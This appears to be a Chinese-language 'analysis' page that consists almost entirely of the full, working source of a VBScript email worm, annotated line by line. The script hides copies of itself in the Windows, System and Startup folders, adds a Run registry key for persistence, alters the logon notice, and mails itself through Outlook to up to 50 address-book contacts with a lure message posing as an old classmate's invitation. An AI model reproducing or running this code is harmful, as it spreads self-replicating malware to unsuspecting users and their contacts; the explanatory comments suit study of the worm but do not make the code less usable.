简单VBS脚本病毒分析

简单VBS脚本病毒分析

 

On Error Resume Next '出错了便执行下一条代码

Set fs=CreateObject("Scripting.FileSystemObject") '把fs定义为FSO变量

Set dir1=fs.GetSpecialFolder(0) '获取你的WINDOWS文件夹的地址，由dir1记录这个地址

Set dir2 = fs.GetSpecialFolder(1) '获取system的文件夹地址，由Dir2记录这个地址

Set so=CreateObject("Scripting.FileSystemObject") '定义so为fso变量

dim r '定义R为一个变量

Set r=CreateObject("Wscript.Shell") '把r定义为Wscript.shell组件

so.GetFile(WScript.ScriptFullName).Copy(dir1&"\qq600.vbs") '获取自己的目录然后把自己拷贝到系统文件夹下的qq600.vbs里

so.GetFile(WScript.ScriptFullName).Copy(dir2&"\qq600.vbs") '获取自己的目录然后把自己拷贝到system文件夹下

so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\qq600.vbs") '获取自己的目录然后把自己复制到启动组里

r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qq600","qq600.vbs" '修改启动项（run嘛！！）把自己添加到启动项里！（删除qq600这个键直就可以删除启动了）

r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","..."  '开机对话框

r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","....."  '同上

Set ol=CreateObject("Outlook.Application") '定义ol为Outlook.application组件

On Error Resume Next '出错了执行下一个语句

For x=1 To 50     '开始一个for循环

Set Mail=ol.CreateItem(0)  '就是他妈的自动发信！我语文不好不知道怎么表达了

Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) '从第一个到x的直挨个发Email

Mail.Subject="老同学，还记得我不？"  '题目

Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！   星竹网络"  '内容

Mail.Attachments.Add(dir2&"qq600.vbs") '添加附件

Mail.Send '结束

Next '跳出循环

ol.Quit  '推出Outlook.Application组件